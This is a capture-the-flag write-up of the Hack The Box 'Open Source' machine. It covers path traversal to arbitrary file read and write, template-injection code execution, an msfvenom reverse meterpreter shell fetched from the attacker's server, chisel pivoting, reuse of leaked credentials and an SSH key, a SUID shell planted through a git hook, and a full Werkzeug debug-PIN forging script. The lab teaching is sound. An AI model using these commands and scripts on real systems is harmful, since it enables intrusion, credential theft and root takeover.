Hack The Box - Open Source
Open Source is an “easy” box released by HackTheBox. I’ve completed quite a few machines on HackTheBox now and this is one of the hardest easy boxes I’ve done. Let’s see how I did it, with a bonus alternative to the foothold at the end.
Summary
We use an arbitrary file write in a flask application to write a template file including a code execution statement that would typically be achieved with STTI. This rewards us with a shell inside a docker container. From here we find an internal service hosting a git repository which contains an SSH key.
To gain root we take advantage of a root cron job that is backing up our home directory. We have write access to the .git
directory allowing us to add a pre-commit hook that will run during the cron job granting us code execution as root.
Enumeration
rustscan
> rustscan -a "$1" --ulimit 5000 -b 400 -t 7500 -- -sC -sV -oN "./scans/$1"
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.164:22
Open 10.10.11.164:80
[~] Starting Script(s)
# Nmap 7.92 scan initiated Mon May 23 12:59:41 2022 as: nmap -vvv -p 22,80 -sC -sV -oN 10.129.69.167 10.129.69.167
Nmap scan report for 10.129.69.167
Host is up, received conn-refused (0.029s latency).
Scanned at 2022-05-23 12:59:41 EDT for 91s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOm3Ocn3qQzvKFsAf8u2wdkpi0XryPX5W33bER74CfZxc4QPasF+hGBNSaCanZpccGuPffJ9YenksdoTNdf35cvhamsBUq6TD88Cyv9Qs68kWPJD71MkSDgoyMFIe7NTdzyWJJjmUcNHRvwfo6KQsVXjwC4MN+SkL6dLfAY4UawSNhJZGTiKu0snAV6TZ5ZYnmDpnKIEZzf/dOK6bBu4SCu9DRjPknuZkl7sKp3VCoI9CRIu1tihqs1NPhFa+XnHSRsULWtQqtmxZP5UXbmgwETxmpfw8M9XcMH0QXr8JSAdDkg2NtIapmPX/a3hVFATYg+idaEEQNlZHPUKLbCTyJ
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLA9ak8TUAPl/F77SPc1ut/8B+eOukyC/0lof4IrqJoPJLYusbXk+9u/OgSGp6bJZhotkJUvhC7k0rsA7WX19Y8=
| 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINxEEb33GC5nT5IJ/YY+yDpTKQGLOK1HPsEzM99H4KKA
80/tcp open http syn-ack Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Mon, 23 May 2022 16:59:49 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Mon, 23 May 2022 16:59:49 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-title: upcloud - Upload files for Free!
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=5/23%Time=628BBD83%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20P
SF:ython/3\.10\.3\r\nDate:\x20Mon,\x2023\x20May\x202022\x2016:59:49\x20GMT"
...SNIP
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 23 13:01:12 2022 -- 1 IP address (1 host up) scanned in 91.44 seconds
nmap
> nmap -T4 -sS -p- $1 -Pn -oN ./scans/$1-full
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-02 12:40 EDT
Nmap scan report for 10.10.11.164
Host is up (0.030s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp filtered ppp
Nmap done: 1 IP address (1 host up) scanned in 36.64 seconds
> nmap --top-ports 100 -sUV $1 -oN ./scans/$1-UDP100
# Nmap 7.92 scan initiated Thu Jun 2 12:40:47 2022 as: nmap --top-ports 100 -sUV -oN ./scans/10.10.11.164-UDP100 10.10.11.164
Nmap scan report for 10.10.11.164
Host is up (0.039s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
68/udp open|filtered dhcpc
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 2 12:44:13 2022 -- 1 IP address (1 host up) scanned in 205.99 seconds
Foothold
On port 80 there is a file transfer web application, the source code is available for download.
Additionally there is a live version available at http://10.10.11.164/upcloud
Source code review
The application is a flask webserver running in Docker. The application allows uploading files. We see there is a recursive replace on ../ in the file name to prevent directory traversal during the upload.
The interesting sections of the source code are:
# views.py
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
# utils.py
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
The application folder we download is actually a git repository, so we can look for other branches
> git branch
dev
* public
There are only two commits on public, we see with git diff
the newer only removes a commented out FLASK_DEBUG=1 option.
Looking at the dev branch with git checkout dev
we see some more interesting things. The source code of the application seems unchanged, but the FLASK_DEBUG option we saw commented out in the older public commit is now enabled.
...SNIP
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
ENV FLASK_DEBUG=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
We can now look on the dev branch for previous commits using git log
> git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
Looking through these commits, there is something interesting on a76f8f75f7a4a12b706b0cf9c983796fa1985820. The repository at this point can be viewed by checking out the commit id git checkout a76f8f75f7a4a12b706b0cf9c983796fa1985820
There is now a .vscode
directory in the root of app/
. Inside is a settings.json
used to connect to a proxy
{
"python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
"http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
"http.proxyStrictSSL": false
}
There are credentials used to connect to the proxy. I tried to use these to log into ssh but no dice. Let’s note these down for later and move on
Live version
On the main page we see a link to the live version
It is a basic file upload application
Simply clicking upload without selecting a file we can trigger an error.
We see debug mode is enabled, so it seems the live version is from the dev branch we found in the repository. So now, we can use the interactive python shell to get a reverse shell right? not so fast, there is a debugging pin enabled
At this point I did a deep dive into the how the debug pin for Werkzeug (which flask is using) calculates the debug pin. Some of the articles I looked at are:
I didn’t actually manage to forge a pin successfully to acquire foothold, but let’s come back to this later…
Source code - vulnerability
...SNIP
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
we see if both cases os.path.join is used to generate paths for files on the server. Let’s take a closer look.
” If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.”
We control the last argument in both os.path.join, the name of the file for the upload_file function and the path after upload/
in the send_report function. So this means if we can get an absolute path to a file into one of these arguments the preceding values should be discarded and only our provided path used. Let’s do a basic proof of concept to be sure
>>> import os
>>> os.path.join(os.getcwd(), "public", "uploads", "/etc/passwd")
'/etc/passwd'
Great, but one problem for send_report, we cannot use an absolute path directly on the URL, but…
what if we use the replace functionality to generate a absolute path? let’s recap on the recursive replace
...SNIP
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
... SNIP
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
”../” is replaced with “”, or nothing so, ..//etc/passwd
replaced to /etc/passwd
meaning we can provide a url like:
http://10.10.11.164/uploads/%2e%2e%2f<absolute_path>
- note: urlencode(../) = %2e%2e%2f
To get read access to any readable file on the server.
By the same reasoning as just stated, we can an arbitrary file write on the server by manipulating the file_name
parameter, except this time we do not need to use the replace technique to get an absolute filename, we can provide it directly
I create a test file and write it somewhere publicly readable to confirm the arbitrary file write
echo "test" > test.txt
We have what we need for RCE now. Debug mode means that files will be automatically reloaded upon being changed. So we may overwrite a template with a malicious version to allow code execution through Jinja2.
Steps:
- arbitrary write vulnerability
- write a template success.html to
/app/app/templates/success.html
- load our template with SSTI RCE in it
I used success.html from the source code and included my payload found here
...SNIP
<button class="btn btn-success" type="button" id="btnCopy">
</button>
...SNIP
I am using metasploit here for some practice with and the convenience it offers, but this could be done just as easily with a standard reverse shell payload. “rev” is a msfvenom binary I generated to give me a meterpreter shell. After this I started up a python http server on port 9090 in the same directory to host it so my payload will reach out and execute it
> msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f elf -o rev
... SNIP
> python3 -m simple.http 9090
Now I start up metasploit and setup my listener
msfconsole -r ~/msfrc/linux_x86_meterpreter_staged.rc
I am using an .rc file here to automate setting up my listener, this option will automatically submit these commands upon starting metasploit.
> cat ~/msfrc/linux_x86_meterpreter_staged.rc
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 443
run -j
Now all that is left is to upload the template and trigger the exploit. I upload success.html and intercept with burp as shown above to change the file_name to the absolute path of /app/app/templates/success.html
. On a successful upload the page automatically navigates to our now malicious success.html
and triggers our command. Our rev binary is retrieved and executed, granting us a meterpreter shell
User
With basic enumeration nothing stands out immediately. It is a docker container as we suspected. I remembered the port 3000 service that was filtered from earlier. It wasn’t running locally so I tried other hosts in the docker network.
meterpreter > run autoroute -s 172.17.0.0/24
portscan 172.17.0.1 (determined this to be main host)
rhosts => 172.17.0.1
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 172.17.0.1
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 172.17.0.1: - 172.17.0.1:22 - TCP OPEN
[+] 172.17.0.1: - 172.17.0.1:80 - TCP OPEN
[+] 172.17.0.1: - 172.17.0.1:3000 - TCP OPEN
after some messing around with meterpreter portforwards, they were unbearably slow, so I used chisel
transport the binary with meterpreter upload and then
# using meterpreter
meterpreter> upload /opt/chisel/chisel_1.7.6_linux_amd64 .
# on victim
> ./chisel_1.7.6_linux_386 client 10.10.14.241:13897 R:172.17.0.1:3000
# on attacker machine
> ./chisel_1.7.6_linux_amd64 server -v -p 13897 --reverse
This will allow me to access port 3000 on localhost, which would connect to 172.17.0.1:3000
Navigating to it we see a webapp called Gitea, it appears to be a service for managing Git repositories I haven’t encountered before. Remembering the credentials we found earlier,
dev01:Soulless_Developer#2022
I try to log in and I am granted access. here we see a repository which is a backup of dev01’s home directory. Luckily for us, this includes their RSA private key
we can download it and use it to authenticate against SSH on the box
http://localhost:3000/dev01/home-backup/raw/branch/main/.ssh/id_rsa
now login as dev01
ssh dev01@<IP> -i ./id_rsa
This grants us user.txt
Privilege Escalation
I performed my usual checklist of enumeration and nothing stuck out immediately. So, I decided to look at process activity with pspy
. We see some git commands executed by root on frequent intevals
...SNIP
2022/05/23 23:55:01 CMD: UID=0 PID=22703 | /bin/bash /usr/local/bin/git-sync
2022/05/23 23:55:01 CMD: UID=0 PID=22702 | /bin/sh -c /usr/local/bin/git-sync
2022/05/23 23:55:01 CMD: UID=0 PID=22701 | /usr/sbin/CRON -f
2022/05/23 23:55:01 CMD: UID=0 PID=22704 | git status --porcelain
2022/05/23 23:55:01 CMD: UID=0 PID=22706 | git add .
2022/05/23 23:55:01 CMD: UID=0 PID=22707 | git commit -m Backup for 2022-05-23
2022/05/23 23:55:01 CMD: UID=0 PID=22708 | git push origin main
2022/05/23 23:55:01 CMD: UID=0 PID=22709 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
...SNIP
It must been a root cron job. We find the script responsible in /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
It is backing up our home directory, /home/dev01. We have write access to the .git directory. With some research on git escalation techniques I found this on gttfobins. This allows us to execute a shell script before a commit. We add a script in the .git/hooks/ directory that will be run as root when they use that action!
let’s make a suid copy of bash
#!/bin/bash
cp /bin/bash /tmp/sbash
chmod +s /tmp/sbash
make it executable and place it at .git/hooks/pre-commit
. Now we simply need to wait for the root cronjob and you should get a suid bash in /tmp
. Run /tmp/sbash -p
for a root shell.
Addendum - alternative foothold
I discovered after completing this box that forging the Werkzeug debugger pin to achieve foothold is in fact possible. Credit goes to Opcode#8430 from the HackTheBox discord who helped me get this method functional.
From all the articles I looked at the most applicable was Werkzeug debug pin in docker which also looked at forging the pin from Werkzeug running in docker.
I took their script and modified the public and private bits that are used in the pin calculation
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username, changed, our container runs as root
'flask.app',# modname, same for me
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) same for me
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None), python3.10
]
private_bits = [
# /sys/class/net/eth0/address, see calculation
'',
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup SPECIFIC FORMAT SEE CODE
''
]
...SNIP # will include full script at end
The public bits need minimal change, but for the private bits we will need to use our file read discussed earlier. This is where I hit problems that ultimately led me to abandon this path during my inital work on the box.
Trying to download /sys/class/net/eth0/address
we encounter an error
and when trying to download the machine id files they are empty
This is the same for
http://<IP>/uploads/..%2f%2fproc%2fsys%2fkernel%2frandom%2fboot_id
http://<IP>/uploads/..%2f%2fetc%2fmachine-id
http://<IP>/uploads/..%2f%2fproc%2fself%2fcgroup
When comparing notes with Opcode, they mentioned using burp repeater rather the browser for the download and sure enough we I try this method I can get the file contents just fine, so what’s the problem here?
This is when Opcode realised, since we are reading kernelland files they do not behave the same as normal files in some ways.
In Unix-like operating systems, a device file or special file is an interface for a device driver that appears in a file system as if it were an ordinary file. […] They allow software to interact with a device driver using standard input/output system calls, which simplifies many tasks and unifies user-space I/O mechanisms.
The key one here being the size of the file for many of them is 0 (and for one file we are interested in 4096)
The value was being set as the Content-Length header in the HTTP response, meaning for the /proc
files the body was ignored and for /sys/class/net/eth0/address
it lead to an error in what I am guessing is a problem retrieving a file much smaller than the Content-Length indicated.
Now with that out of the way, we can continue with forging the pin. I tried to automate this all with a python script, but I found some parts I had to do manually (because of the content length issue I wasn’t able to read response content with python). So I manually download the following files and placed them into the same directory of my script:
/sys/class/net/eth0/address
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
/etc/machine-id
- would normally be needed but did not exist on the system
The private address bit can be calculated by reading /sys/class/net/eth0/address
and performing some formating. The article I mentioned above gave a method to do this in the interpreter, and I modified this slightly to work entirely with my script
# provided method
Python 3.9.7 (default, Sep 3 2021, 02:02:37)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("02:42:ac:11:00:04".split(":"))
'0242ac110004'
>>> print(0x0242ac110004)
2485377892356
# my method
with open("address", "rb") as f: # /sys/class/net/eth0/address from server
value = f.readline().decode().strip()
private_addres = str(int("".join(value.split(":")), 16))
likewise for the machine_id private bit, the article provided some code to read the files and concatenate them with some formatting. The only thing I changed here was to read files from the local directory (which I had downloaded from the server)
machine_id = b""
for filename in "machine-id", "boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
machine_id += value
break
try:
with open("cgroup", "rb") as f:
machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
private_id = machine_id.decode()
Putting it altogether we get our complete script
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username - changed, our applications runs as root
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # we have 3.10
]
# format address
with open("address", "rb") as f:
value = f.readline().decode().strip()
private_addres = str(int("".join(value.split(":")), 16))
print(private_addres)
# Read files for machine id
machine_id = b""
for filename in "machine-id", "boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
machine_id += value
break
try:
with open("cgroup", "rb") as f:
machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
private_id = machine_id.decode()
private_bits = [
private_addres,
private_id
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)
now running
> python3 rawe-exploit.py
Pin: 574-249-862
We navigate to http://<IP>/console
and submit our pin, granting access.